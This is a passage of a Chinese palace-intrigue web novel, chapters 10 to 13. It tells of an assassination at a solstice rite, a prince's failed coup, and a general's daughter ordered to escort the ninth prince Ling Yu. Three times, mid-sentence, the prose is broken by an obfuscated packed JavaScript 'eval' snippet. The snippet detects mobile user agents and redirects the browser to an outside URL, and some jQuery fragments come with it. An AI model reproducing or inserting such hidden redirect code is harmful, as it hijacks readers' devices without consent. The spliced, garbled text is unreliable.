这一刻,皇宫内的欢庆气氛与庄严肃穆,无疑是到达了顶峰!
“嗖——”的一声。
就在所有人垂手祈祷、心神皆沉浸在祭祀的庄严之中时,一道尖锐瞬间响划空气,犹如利刃割过丝绸,发出尖锐而清脆的声响。
众人还在迷茫时,只见一道羽箭猛然掠过,对着那高台众人集聚之处暴射而去。
箭影呼啸,掠过一道道惊慌失措、瞠目结舌的面孔。
“有刺客,护驾——护驾——”不知哪里传来高呼声,高台之上瞬间乱做一团。
“噗呲!”
一声沉闷的声响在空气中回荡,那箭精准地穿透了皇帝前方那司天监的监正胸前。他瞪大着双眼,满脸难以置信,身体缓缓倒下,重重倒下。
鲜血,如红梅乱绽,溅洒在高台上,天仪上,血迹如繁星点点。
10. 黑衣少年
“有刺客啊!”“护驾!护驾!”“救命!”
高台之上,惊叫之声此起彼伏,妃子皇子们相识像被惊散的鸟群,惊魂不定地跑向出口台阶处。
天空中,忽地出现一道诡异紫色光幕,如惊雷贯空般直射云霄,旋即光幕微微一亮,爆破后化为无数泛着妖异荧光的箭矢,流星一样散射而下。
“是叛军,快逃!!!”
不知道谁喊了一句“叛军”,如燎原之火点燃了众人的恐惧。无数箭声、器物碎裂声、夹杂着人们喘息声。平日里养尊处优的皇子妃嫔、王公贵族,此刻早已抛却了所有礼仪端庄,个个面如土色、像无头苍蝇般四处奔逃,将整个高台阶梯堵得水泄不通。
观星台上,已经完全混乱。
然而,自顾不暇的皇家世族不知道的是,观星台下的侍卫们,正满脸茫然地仰望着高台,眼神中满是困惑与不解。
承天门楼高耸入云,台下之人未瞧见第一道箭矢贯穿太监胸膛的惨状。蹊跷的是,他们居然也没有看到紫色光幕和更没有看到后面的无数箭矢,只是怔怔地站在原地,听着高台之上传来的嘈杂声响,暗自揣测楼中究竟发生了何等变故,个个束手无策,面面相觑。
“怎么回事?”凌兆武站在高台下,赶紧问身边副官:“楼上刚刚不是好好的吗?怎么突然乱了?”
副官亦是满脸惶惑,躬身回道:“属下不知,台上局势突变,毫无预兆。”
凌兆武目光死死盯着高台,手心早已沁出冷汗,金吾卫掌管宫禁安危,此刻台上大乱,他们却进退两难,不知该贸然登台还是原地待命。
他细微辨认着那声响,脑中忽然闪过太子白日里那句“尘埃落定”,语气中的笃定此刻想来竟透着几分诡异。他心中咯噔一下,暗觉此事绝非偶然,恐是有人蓄意布局......
一道黑影疾步冲来,身形矫健如狸猫,凑到凌兆武耳边,压低声音:“殿下,大事不好!圣上在高台上暴毙,太子早有预谋,欲借今日庆典夺位!”
“什么!!”
凌兆武闻言,如遭雷击,惊得双目圆睁,满脸难以置信。
他猛地攥紧拳头,指节泛白,胸中怒火瞬间燎原。太子竟如此狼子野心、卑鄙无耻!先前约定好先除去其他皇子、扫清障碍,没想到他竟迫不及待,直接对父皇痛下杀手!如今皇族宗亲皆在高台上,若被太子掌控,便是瓮中之鳖,他只需以宗亲性命相胁,等天亮再当着文武百官的面矫诏登基,便可顺理成章地坐稳皇位!
凌兆武狠得牙痒痒,压抑着无比的暴怒:“好个伪君子!当我凌兆武是死的不成,怎能叫你这么如愿!”他转过头,冲着身后副军道:“传我号令,命黑武军即刻入宫,封锁所有宫门!”
随后,他又指着高台方向,怒声吩咐:“金吾卫全体听令,随我登台,凡助纣为虐者,格杀勿论!拿下太子者,重重有赏!
-
高台上,事出突然,奚映雪被混乱的人群裹挟着,步履踉跄,身不由己地向下奔逃。
“映雪!”一道急促的呼喊自身后传来,凌瑾瑜拨开人群,快步冲到她身边,一把攥住她的手腕。不等奚映雪反应,便强行将她推入身旁一道隐蔽的暗门,“外面有刺客,你沿着这条密道往前走,出去便是宫外。切记,无论听到什么声响,都万万不可回头,待局势平定,我便去找你。孤现在要去寻父皇母后,护他们周全。”
奚映雪被推得一个趔趄,扶住门框才勉强站稳。
她的心脏狂跳不止,砰砰直撞胸口,先前那神秘符号带来的焦虑尚未消散,如今又突逢宫变、目睹惨状,让她心头乱如麻。
她隐隐觉得,今生的乱世似乎比前世来得更早、更汹涌,如一张无形的大网,正悄然向她收紧。
“听见了吗!映雪!”太子焦急地喊声终于唤回了她的意识。
奚映雪抬眸望向他,澄澈的眼眸中满是惊魂未定,却还是点了头。
太子则是舒了口气,快步朝着皇帝所在的方向奔去,转瞬便消失在混乱之中。
奚映雪转头望着前面黑漆漆的通道,深吸一口气,抬脚向前。
黑暗中,神秘符号再次在她脑海中闪现,还有一个模糊的尸体轮廓,诡异而惊悚。她用力摇了摇头,试图将这骇人的景象从脑中驱散,可越是抗拒,记忆碎片便越发清晰,让她头痛欲裂。
她想出去和皇家世族共进退,但隐约中又觉得这很可能是下策。今日刺杀来得突然,明显是针对皇族来的,她出去也帮不上什么忙,但是,为什么?为什么冬至大节上会有刺客?承楼高台黎又为什么有密道?种种谜团相互交织,前世今生的事件相互交织而成的深不可测的大网,各种关联性也许看不到,但它们却一直在那儿,伏在表层下面。
脑中混沌得厉害,太阳穴突突地疼,她扶着冰凉的墙壁,步履缓慢。
不知道走了多久,眼前终于出现一丝光亮。
那道刺眼的光芒越来越刺眼,让她脑海中疼痛再次翻滚起来,奚映雪突然意识到这疼痛非同寻常。她尽力向前迈步,胸口本能地起伏着着。
“皇嫂。”
一声冷冽之声,从前方传来。
再睁开眼时,面前是一间黑暗的密室,正中央,一道黑影斜倚而坐。
男人生得美艳绝伦,气质极冷,一身玄色锦袍。他靠在椅背上,一条腿微微曲起,脚尖点在青砖上,另一条腿伸直,姿态慵懒又随意。
他正饶有兴致地欣赏着一个带血的玉扳指,气质冷峻,比起窗外洋洋洒洒落下的大雪,有过之而无不及。
听见她进来的动静,缓缓抬起口玩味开口。
那一瞬间,奚映雪整个人都被眼前的场景震慑住了。
屋外是漫天白雪,屋内却幽暗深邃,光影交错,反倒将这个身着黑衣的男人衬托得愈发清晰。那双凤眼精致得像用墨笔精心画过的,瞳仁深邃而狭长,像藏着一片湖水,最精美的冰雕也不过如此。
奚映雪怔怔地站在原地,震惊了足足好几秒,她才回过神来,没什么底气地开口:“你是谁?”
男人终于缓缓抬起头来。
他的动作很慢,带着一种漫不经心的慵懒,目光扫过她的时候,没有任何情绪。
良久,他才淡淡地开口,声音低沉悦耳:“皇嫂,专门寻到这杀人密室中,是想一起欣赏这世家遗物吗?”
奚映雪的呼吸骤然滞住。
——是燕王!前世的凌昱!
脑中的铮铮钝痛再也无法承受,眼前白光和黑暗转换,她蓦地向后倒去。
一道身影疾如闪电般掠过,接住了她下坠的身体。
奚映雪的意识在清醒与混沌间游离。
几瞬后,才能勉强睁开眼,最先映入眼帘的是朱红宫墙,以及熟悉的青石砖。她马上明白,自己刚才又陷入了前世记忆,居然看到前世刚进燕王府时与凌昱相见的场景。
一抬头,只见面前是一个带着一张骷髅面具的黑衣少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096768|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年,看不清脸。
月光下照在他的面具上,深邃的眼睛长睫轻微,仿佛这雪地里倏忽振翅的蝶。
她总感觉,有点熟悉。
奚映雪默默挣脱开了扶住她的臂膀。
“吓傻了?”见她行为疏离,黑衣少年似乎有些不悦,一道清冽如清泉的声音从面具下传来,还带着几分调笑,“之前看你还有几分胆识,如今这点阵仗就吓得魂不附体了?”
奚映雪不语,只是盯着那张面具。
见到少女紧紧抿着唇不说话,少年眉头轻皱,隐隐透出几分悔意,似乎懊恼自己话说得重了,但也不知道该如何弥补,竟偏过头不敢看她。
奚映雪尝试着迈步,太阳穴又传来一阵抽痛。
“唔,”她难以避免地踉跄了一下,立即被少年扶住。像是溺水之人找到生机,她伸手抓住了少年的衣袖。
“你......”看到那双凤目后,她想说的话戛然而止。
感受到怀中柔软温热的身躯,黑衣少年的身躯不自然地一僵。旋即看到奚映雪苍白脆弱的脸,他俯身,将她打横抱起,动作竟带着几分不易察觉的温柔与怜惜。
脚尖点地,少年抱着她快速在房檐上掠过。
他身法迅捷、身影轻快,不多时,将军府的朱红大门便出现在眼前。
黑衣少年放下她,声音带着点不容拒绝的命令意味:“你走吧。”
奚映雪:“你知道我是谁?”
黑衣少年沉默不语,没有任何回应。
奚映雪又追问:“今日怎么了,他们都怎么样了?”
黑衣少年嗤笑一声,似是风轻云淡一般:“放心,你的情郎太子没死。”
奚映雪:“......”
不是,这个人在自说自话说什么啊?她有提起太子半句吗?
这人行为奇怪,说话还颠三倒四,话语间还屡有挑衅之意,实在莫名其妙。奚映雪心中虽有不悦,却也知晓紧急时刻并非纠缠发作之时。她压下心头怒意,转过身,走出一点距离,没忍住回头看,那个带着骷髅面具的黑衣少年依然站在原地,定定朝她看来。
那视线复杂得很,有审视,还有些说不清道不明的情绪,让人看不透。
奚映雪转过头,决定不管他了,转身快步走向将军府。
-
“父亲!宫里出事了!”奚映雪顾不得脑中疼痛,连忙跑到父亲屋中,神色焦急地将今日宫中发生之事一一描述。
“你说什么?紫色光幕?”父亲奚远峥紧紧拧着额头。
“嗯,我看见紫色光幕从天空中升起,然后就是很多道羽箭落下,皇宫大乱了,然后太子让我进到一个密道里,我走出来已经到宫外了。”奚映雪赶紧回道,却隐去了遇见那戴面具的少年之事。
奚远峥站起身,神色愈发沉凝:“高台上除了你,还有哪些人?”
“皇族宗亲皆在,还有几个太监婢女、司天监的人。”
“不好!”奚远峥面色一变,沉声道,“我立即入宫,你留在家中,严守消息,此事万万不可外传。”
奚映雪心中奇怪,连忙问:“父亲,到底怎么了?今日乱象,宫中人人都亲眼所见,就算我不说,想必很快也会传遍京城.....”
奚远峥停下脚步,语气中带着几分讳莫如深:“我怀疑,那紫色光幕,像是克勒族贵族才能使用的的禁术巫术。”
他停顿了一下开口,“宫内,有人勾结外族势力。”
11. 前世初见凌昱
奚映雪倚坐于软榻之上,一个长衫大夫正给她号脉问诊。
片刻后,胡大夫收回手道:“小姐脉象平稳,身体应无大碍。至于近日频发的头疼晕眩想来是前几日受了惊吓,又兼忧思萦怀,心神不宁所致。我这就开几副安神理气的方子,姐按时服下,好好修养即可。”
奚映雪闻言,微微颔首,“有劳胡大夫了。”
等侍女引着胡大夫退下,她才缓缓抬手,抚上额角,眉宇间拢起一抹烦忧。
父亲,自那日已经进宫整整三天了。
奚映雪的目光飘向窗外。阳光正好,冰雪春妍,梅花含香,明黄的花瓣红着皑皑白雪,晶莹剔透,在日光下泛着清亮的光泽。仆人们个个手拿灯笼,或持花束,来往匆匆,一片冬至热闹的气氛。
可见,前几日皇宫中的紧张气氛,并没有传至到京中民间。
本来,她进宫时,只是想尝试着寻找神秘符号,心中并无十足把握,不过是凭着直觉放手一试,未曾想竟真的在公主府寻到了符号踪迹,开局算得上顺遂。
但是,竟然接连碰到救凌昱,冬至观星刺客,偶遇面具少年之事。
短短几日内,不仅离奇的事情接连发生,就连她自己的身体也愈发奇怪。
每一次头疼发作,脑海中的记忆便如朝水般翻涌,前世的片段与今生的经历交织缠绕,甚至会浮现出一些全然陌生的画面,朦胧晦涩,难以捉摸,好像那些记忆好像是经过梳理和清洗一般,让她屡次陷入虚实难辨的困境。
现在,医术高超的胡大夫却说是忧思所致,奚映雪不禁好奇,难道这便是重生的后遗症?
烦躁之际,她的目光不受控制地飘向桌上。
进宫前,她写的前世线索正放于正中央。她的视线又凝聚在纸上被圈出的“燕王”二字上,思绪不可抑制地被拉回前世。
大雪天,暗道密室,那确实是她与凌昱前世相遇的第一天。
彼时,将军府刚被诬陷,父亲只是被关押,尚未有那神秘符号画作出现。太子为了和将军府撒清关系,带着一丝急切地把她送到燕王府,美其名曰“暂避风头”,实则是让她充当眼线,还信旦旦地许诺:“映雪,你且在燕王府暂住,待孤为将军府洗清冤屈,便即刻接你回来。”
懵懂天真的她,就这么过上了寄人篱下的生活。
好在燕王凌昱常年不回府中,最初几日,她甚至连他的面都未曾见过,倒也落得几分清净。
直到一场大雪过后,她耐不住无聊烦闷,四处闲逛,竟然误打误撞发现了一条隐蔽的密道。
好奇心驱使着她循道而去,穿过阴暗朝湿的通道,尽头的密室中,她就这么看见了拿着血扳指的凌昱。
凌昱完全不负朝中众人说的“嗜血狠辣”的评价。当时,奚映雪看着那懒散地,好整以暇地邀请她一起欣赏这血色扳指的男人,以及他锦袍上的点点血迹,不可控制地想象之前这里经历过何等酷刑。
饶是她出身将门,也是差点一口气没上来,惊悸了好几天。
明明是一双顾盼生情的眼睛,内里却藏着狠戾血色凶光。
明明是那样精致绝伦的长相,周身气质是却极具压迫感。
这男人,绝对是个疯子!
这就是奚映雪对他的第一印象了,这份印象,一直持续到太子殒命那日。
只是太子死后的种种,她的记忆却仿佛被浓雾笼罩,模糊不清,任凭她现在如何回想,都还是浑浑沌沌。
奚映雪拿着那张宣纸,叹了口气,也不知,收服凌昱,是好是坏。
这时,侍婢快步进来道:“小姐,奚将军回来了,唤您过去呢。”
进入书房,奚映雪看到了尚未卸下身上铠甲,一脸疲色的父亲奚远峥。
“父亲。”她唤一声,目光落在他身上细细打里,见他并无伤痕,松了口气,“怎么样了?宫里的事有定论了吗?”
奚远峥却眼神复杂,语气沉重:“那日,只死了一个人,就是司天监的监正。”
“什么?”奚映雪蹙起眉头,“那为何宫中那日那样浩大?不是说有叛军作乱吗?"
奚远峥缓缓摇头,语气愈发凝重:“并非叛军,而是四皇子凌兆武意图谋反。他暗中豢养刺客与私兵,在冬至祭祀之日披甲入宫,被陛下当场捕获。”
四皇子?奚映雪仔细回想,好像对那张凌兆武那张鲁莽的脸有点印象。那人性格急躁,虽家世显赫,却胸无城府,怎么会突然挺而走险冬至谋反?她连忙追问道:“四皇子为何要谋反?那日观星时出现的紫光,又是怎么回事?”
涉及宫廷秘事,而且尚未确定言论,奚远峥只是叹了口气,“四皇子谋反不成,已经当场下狱。”他摸了摸奚映雪的头发,语气中带着一丝无奈,“只是,映雪不一定能嫁给太子了,太子,被圣上怀疑参与了此事。”
“太子也参与了谋反之事?”这下奚映雪真的震惊了,冬至那日太子明明都和自己在一起,怎么可能暗中参与谋逆?
“这不是我们能够妄议的,一切等圣上定论吧。”
怀着疑惑的心情,奚映雪走出了书房。
-
皇宫御书房内,有两个人影。
丰玄帝从那张紫檀木御案上抬起头,微红的凤目显出几分疲惫:“这么说,张相是不同意废太子了?”
宰相张言朝已年过六十,鬓边有几缕银丝。他开口回道:“陛下,目前尚且没有足够证据证明太子有造反之心,臣认为,应该谨慎处理。”
丰玄帝目光如深章,缓缓开口:“太子与四皇子走得近,这件事,难说没有太子参与其中。而且,皇后与太子连日来频频示意,一心要与奚家联蛔,这等行径,难道还不能说明他觊觎兵权,图谋不轨吗?”
张言朝的语气愈发谨言慎行:“陛下明察。奚家三代戍守北疆,向来忠君体国,矢志不渝,只知有君王,不知有他人。臣暗中体察,奚将军行事磊落,并无攀附太子之意,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096769|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此次联姻提议,多半是东宫一厢情愿。再者,太子近年来恪守''监国抚民,敦守孝道''本分,若仅凭揣测,联姻之念便废其位,恐令天下臣民寒心,更怕其余皇子人心浮动,滋生异心,反倒动摇国本。”
丰玄帝沉默片刻,缓缓放下手中狼毫,语气难辨喜怒:“那日奚将军护驾倒是来得巧。观星祭祀之时,奚家那丫头亦随侍在侧,想来是她回去后通风报信,奚远峥才来得这般神速。大将军府确实珍贵,也难怪连的这些皇子们,个个趋之若鹜,恨不得将他们牢牢绑在自己魔下。”
他顿了顿,目光重新落回张言朝身上,语气陡然转沉:“太傅以为,若不将奚家女许配太子,这丫头该嫁谁?何时婚配?”
张言朝心头一凛,丰玄帝刚刚叫他“宰相”,是问国事;现在问儿女一辈的婚事,叫他“太傅”,是问家事,虽更显亲近之意,却明显不是想要那个亲近奚家的回答。
这位丰玄帝,四十岁才历经九死一生登上帝位,亲历过多次宫廷政变,见识过骨肉相残,权臣擅政的乱象,故而把皇权稳固看得比什么都重,绝不允许任何人触碰天子权威,即便是太子与诸皇子,亦不例外。
冬至当日,四皇子私率私兵入城,犯了擅动兵权的大忌,在丰玄帝这里,早已是必死无疑的结局。
可太子若因私联兵权之嫌被废,余下的皇子要么年幼无知,要么资质平庸,要么母族势力薄弱难以支撑大局,届时储位空悬,朝野动荡,江山社稷便会岌岌可危。其中的利害关系,他必须仔细斟酌,既不能违逆帝心,又要为大局计算。
定了定心神,张言朝答道:“老臣以为,奚家嫡女出身将门,胆识过人,且经四皇子之事,已然卷入储位纷争,此时再与任何一位皇子联姻,都难免落人口实。不如顺水推舟,以陛下之名册封其为边关节度使,令其随兄驻守北疆,断了诸皇子攀附之心。”
丰玄帝眸色微眯,眉头微:“宰相的意思是......”
张言朝知皇帝已然领会几分,便继续说道:“四皇子伏法是早晚之事,太子暂且禁足东宫,闭门思过。外族朝圣之后,其中出质北疆一事还需要一位皇子外出。臣以为当派一位无母族庇护,行事低调的皇子前往,再请奚家女作为节度使亲自护送。此举一石三鸟:一来可融打其余皇子,令其收敛野心,不敢再蠢蠢欲动;二来可借奚家铁骑之势震慑北疆各族,彰显我朝威严;三来亦是暗中提点奚家恪守本分,莫要涉足储位纷争,否则便是引火烧身。”
丰玄帝缓缓点头,张言朝不愧是大夏第一宰相,这办法确实不错。他思里着开口:“让九皇子去?可是他身份低微,恐难服众啊。”
张言朝语气笃定:“都是圣上的骨血,就是高贵。虽然九皇子母亲早逝,但是无外戚势力掣肘,派他前往,既不会引起各方忌惮,又能彰显我朝威严。再者,有奚家从旁辅佐,必能顺利完成使命。”
丰玄帝沉吟片刻,身体微微后仰:“那就,依太傅所言吧。”
12. 护送凌昱?
次日清晨,奚映雪是被屋外动静惊醒的。
天刚蒙蒙亮,屋外熙熙攘攘声突然响起,仆人们往来的脚步声、器物叮当声,打破了梅园的静谧。奚映雪翻了个身,眼皮重得像粘了胶,没两秒又阖上。
不知过了多久,一道焦急的女声在床前响起。
“小姐,醒醒!传旨的公公已经到正厅了,将军让您即刻过去接旨呢!”绣橘看她还在睡,一时间顾不得其他了,伸手轻摇。
“传旨?”奚映雪睁开双眼,红润脸上残存着一丝睡意,似是没厘清“传旨”与“她”之间的关联。
“是的,小姐你赶紧起来收拾接旨吧!万万怠慢不得!”绣橘说着,便示意身后的婢女上前。
奚映雪被屋内几个婢女半扶半拽着下床,冷水拂面时才稍稍清醒几分,踉跄着走到梳妆台前,台上各式珠翠花朵被匆匆堆置,金簪玉钗错落摆放,透着几分手忙脚乱的仓促。
她强打起精神,抬头看向镜子,少女雪一般的面庞明媚动人,唯独眼下一片淡淡的乌青。也难怪,昨夜她为近日多种变故而辗转反侧,又被前世记忆与今生混乱记忆搅得心神不宁,近乎是彻夜未眠。
一众婢女各司其职,抚发簪花,描眉画唇,梳妆的动作有条不紊,不过半刻钟便将她这一身装扮收拾妥当。
奚映雪身着一袭山矾白锦裙,纤细墨丝中簪了一支玉骨白竹簪,不施粉黛却显得高逸清婉,周身自带世家的矜贵气度。
走到正厅,她只见一位身着藏青蟒纹宦官服的老太监立在厅中,面白无须,神色温润,正与父亲奚远峥低声交谈。
“映雪,过来见过王大人。”奚远峥抬眸看来。
“见过王大人。”纵然不明所以然,奚映雪还是快步上前,行下标准的宫廷礼。
“奚小姐,真是年少有为啊。奚将军教子有方,一双儿女皆是人中龙凤,堪称国家栋梁啊。”老太监笑呵呵道,目露赞赏。
奚映雪目光微扫,瞥见王公公身侧两个小太监手中捧着的明黄锦盒,那是圣旨的规制。已经明白这是圣旨下发,只是仍未想透,这圣旨为何会与自己扯上关系。
王公公清了清嗓子,抬手示意小太监呈上圣旨,朗声道:“奚家嫡女奚映雪接旨——”
奚映雪连忙屈膝跪地,屏气凝神。
“念奚家女奚映雪,冬至祭祀之时护驾有功,胆识过人,恪守忠节,特册封为边关节度使,赐黄金百两,锦缎千匹。另,命其全权护送九皇子凌昱,出使克勒族为质,稳固北疆邦交,彰显国威,钦此。”
奚映雪一瞬间以为自己幻听了。
节度使?她竟被封为节度使?还要护送九皇子凌昱出质?
她微微蹙着眉,一时间想不明白这到底什么情况,是大清早她依旧在梦中还没清醒,还是他们都在和自己开玩笑。伸手接住那黄色卷轴,缓缓转头望向父亲,却见奚远峥依旧面色平静威严,仿佛早已预知此事。
只见王公公对着门外的一道身影招了招手,“进来吧。”
奚映雪下意识地顺着门口方向看去——
一个黑衣少年走了过来,身形欣长,身姿挺拔。
那身普通黑衣被他穿得如同深沉神秘的蝶,在白雪上格外引人注目,袖口中露出的手腕骨节分明,冷白的皮肤与黑色的外衫分庭抗礼。他走得不算快,鞋底碾过地面的青石砖,发出轻微的响声,每一步都带着股无形的压迫感。
等他走近,奚映雪脑子里突然一片空白。
少年抬起头,露出那张眉如墨画却带着阴郁气质的脸。
是凌昱。
看到来的人居然是凌昱,而且就这么明目张胆地出现在将军府中。奚映雪突然瞬间僵了,像被夏日夜间的强光突然照到的田蛙,呼吸都忘了。
霎那间,她已经开始怀疑,是不是这时候凌昱已经有了自己的势力,所以前几日她去冷宫逼他顺从让他不快,引起了他的报复之心。
呵,前世燕王就是虚伪阴狠,原来竟是天生!
奚映雪恨恨地看着面前的少年。
凌昱则是朝着她的方向瞥了一眼,狭长的凤眼依旧艳丽无波。
隔着府中多人,白衣若雪的少女与黑袂翩翩的少年遥遥相对,在众目睽睽之下,两人心思皆是未明。
王公公对着奚远峥道:“奚将军,九皇子就先交给你了,近来宫中波谲云诡,不甚太平,为确保九皇子出质前万无一失,这些日子便劳烦将军府代为照料。待圣上后续旨意下达,便请奚节度使护送九皇子启程前往北疆。”
奚远峥则是客气拱手:“王公公言重了,护驾守土,照料皇子,皆是臣子本分,臣定当尽心竭力。”说罢,他对着奚映雪递去一个眼神,示意她谢恩。
奚映雪虽不情愿,奈何圣旨无法抗衡,不由得按捺住心头的翻涌,悻悻然地接旨。
王公公又叮嘱了几句,便带着小太监告辞离去。待厅中只剩自家父女与凌昱三人,奚映雪才捧着圣旨,收敛了笑意看向父亲:“父亲,这是怎么一回事?”
“映雪,你先好生安顿九皇子,尽到地主之谊,莫要失了礼数。”奚远峥语气沉凝,顿了顿又道,“安置妥当后,来书房找我。”
奚映雪:“......”
-
天气寒冷,枝桠尚有残雪,奚映雪领着凌昱走在将军府中。
她现在的心情不可谓不复杂。
一方面,见凌昱完好无损地站在这里,她悬着的心可谓放下了大半,前几日宫变事发,她便暗自担忧,她刚刚收服凌昱,万一他在这场宫变中身陨,那她可是浪费了很多精力;可另一方面,这道圣旨太过突兀,册封节度使已是意外,护送凌昱出质更是始料未及,让她一时手足无措,竟不知该如何与身边这位相处。
奚映雪抿了下唇,还是应该保持统一行为模式,要是现在变卦,那前期她的那些功夫不都作废了吗?
装也要把这段时间装过去。
一路沉默,两人行至将军府竹林旁。
几竿翠竹迎寒而立,虽叶尖覆雪,却依旧挺拔苍翠。
奚映雪心里盘算着如何开口问询凌昱近日情况,竟一时失神忘了看路,脚步未停,险些撞到面前横生的翠竹枝丫。
“小心。”一双白玉般手扶住那竹枝,行动突然,却吓得她后退了一步。
垂眸看着奚映雪后退的脚步,凌昱不动声色地后撤一步,拉开了他们之间的距离。
奚映雪一时间也有些尴尬,但也觉得把没必要和他解释。
于是她偏头转移话题道:“过段时日你要出质北疆了,也算……恭喜你得此差事,曾经我说要带你出宫的诺言,如今也是作废了。”
凌昱看着奚映雪疏离的动作,以及她澄澈湿润的眼睛下方似有些乌黑,显然是没有睡好的样子。
他内心突然嗤笑:明明说自己是她的人,现在帮她挡个树枝,她要离三丈远;太子被疑,她倒是担心得连觉也睡不好了。
目光很快收回,凌昱的声音冷冽如同寒冬冰霜:“既已许诺,怎可轻易反悔?”
奚映雪:?
听着那恢复冰冷的语气,她直觉面前这人不高兴了。可是为什么?明明他已经离开皇宫了,那个交换的条件自然不存在了,为什么他反倒不乐意了。
摸不清凌昱的目的,以及他是敌是友,奚映雪决定从之前的事入手,继续开口:“你的伤好些了吗?那盒金疮药用完的话,我再给你取些来......”
凌昱语气无波:“我用不上。”
奚映雪:......
啧,男人,真是喜怒无常啊!尤其是好看的男人,更是难以捉摸。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096770|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>纵然收服不了,但是想到自己那天在冷宫里至少救下了他,没有功劳也有苦劳。
心一横,她堵住凌昱的去路,霸道地说:“以后,你就住在我的兰猗阁中,虽然你已经出宫了,但就凭我救下你这件事,没还清恩情之前,你都是我的——”
她顿了一下,把某种动物改口,脆生生道:“仆人。”
凌昱垂眸看着挡在身前的少女,她的眼神澄澈,带着几分倔强与赤诚,纯粹得让他心生不耐,却又忍不住去咀嚼她口中“你是我的”几个字。
那双潋滟凤眼中似有些波澜,却只是沉默地看着她,目光深邃难辨。
见他不答,奚映雪又补充道:“在将军府这些日子,若是有任何事,便来找我,我会尽力帮你。”
凌昱仍未说话,只是不自然的移开目光。
奚映雪终究沉默了下来。
她自幼身份高贵,性格傲慢骄纵,府中上下皆对她呵护备至,朝中权贵也多因父亲的权势对她礼让三分,哪怕是太子凌瑾瑜,也对她很是宠溺。她说一,自然有人把一二三四五七八全部奉上,还要说一堆好话来恭迎她,从未这般热脸贴过冷屁股。
而现在,她自问已经对凌昱已经很不错,但是这人还是木头一样的不为所动!
“你——”奚映雪胸口起伏了几下,可能还是介于他前世凶名,到了嘴边的刺耳话语还是没吐出来。
最后,她冷笑一声:“看来倒是我多事了,想去哪你随意吧!”
说完,也不想听凌昱的回答了,转身匆匆朝着书房跑去,洁白披风的下摆扫过地面,掀起一阵微风。
-
书房内,墨香阵阵。
“父亲,这到底是怎么回事?我能不能不去啊?”奚映雪真着急了,她在父亲面前向来很直接:“我从未当过什么节度使,而且为什么是护送凌昱,这也太荒唐了!”
奚远峥微微摇头:“映雪,那是皇子。”
他神色凝重:“圣上此举,实则是在敲打奚家。冬至宫变,看来太子确实被卷进了这场风波中,此次冬至四皇子谋反绝不止表面真简单,圣上虽未明说,却也借着此事,断了你与太子的婚事,同时将你支往北疆,既是避祸,也是制衡。”
半晌,他叹了口气,“京城怕是即将迎来风波。映雪,你就护送九皇子一趟吧,父亲会派最精锐的亲兵随行保护你,你也刚好去北疆避避风头,等京城局势稳定了再回来。”
奚映雪对“节度使”的封号并无太多波澜,比起虚名,她更在意其中的原由:为什么是送凌昱?!怎么短短两天,流放就变成为出质了?怎么他就住进了奚家,要是说凌昱没有在背后做什么,那她是万万不相信的!还偏偏挑了自己去,莫不是他报复自己的一种手段吧?!
“.......九皇子,为什么要住到我们家?”奚映雪问出了最想问的那个问题。
“九皇子住进府中,是圣上的旨意。”奚远峥皱眉,看出了女儿眼中的抗拒与不安,语气放缓了几分,“圣上担心他出质前遭遇不测,便将他托付给咱们将军府保护,这是信任,也是考验。他终究是皇子,你莫要太过放肆,需得恪守礼数,不可怠慢。”
奚映雪:......这是她放肆不放肆的问题吗?是明明还有一堆乱摊子没解决,现在还来了一个更大的麻烦,这位可不是什么善茬,前世被他盯上可是没有好果子吃的。
前脚她刚救了他逼他顺从,后脚这人就住进了将军府。
以后她还能愉快的生活吗?
可是众多心绪,在忠心为国的父亲面前,她只能说出一句“嗯。”
怀着这样烦闷又复杂的心情,奚映雪步履顿顿,走回了自己的院落。
天色渐晚,行至兰猗阁门口,便见一黑衣少年郎立在廊下。
他怎么找到这里了?
13. 她的狗
没有任何准备,奚映雪撞进了那双深邃凤目里。
她不得不承认:凌昱确实生得一副夺魂摄魄的好皮囊,鸦鬓如墨,肤皎若霜,唇瓣是天生的绯色,透着几分慵懒散漫的颓靡。那双凤目扫了她一眼,长睫在眼下落下浅浅的阴影,深不见底。
残阳如血,凌昱简直像开在冬日里的黑色曼珠沙华,极尽锋利,又极尽妍丽。
她胸口起伏着,不知是看到刚刚心里的人而震惊,还是被这位华光澹澹的阴森美人吓着了,总之她心底重重跳了一下。
“你来干嘛!”奚映雪霸道地说,似乎因为惊吓忘记了克制脾气。
凌昱没回答她的问题,声音低沉如古玉相击:“你拒绝了?”
奚映雪抿了抿嘴,拒绝......已经下的圣旨,她还能拒绝吗?难道他竟盼着自己拒绝护送,好让他另寻出路?可这份心思,恐怕要让他失望了。
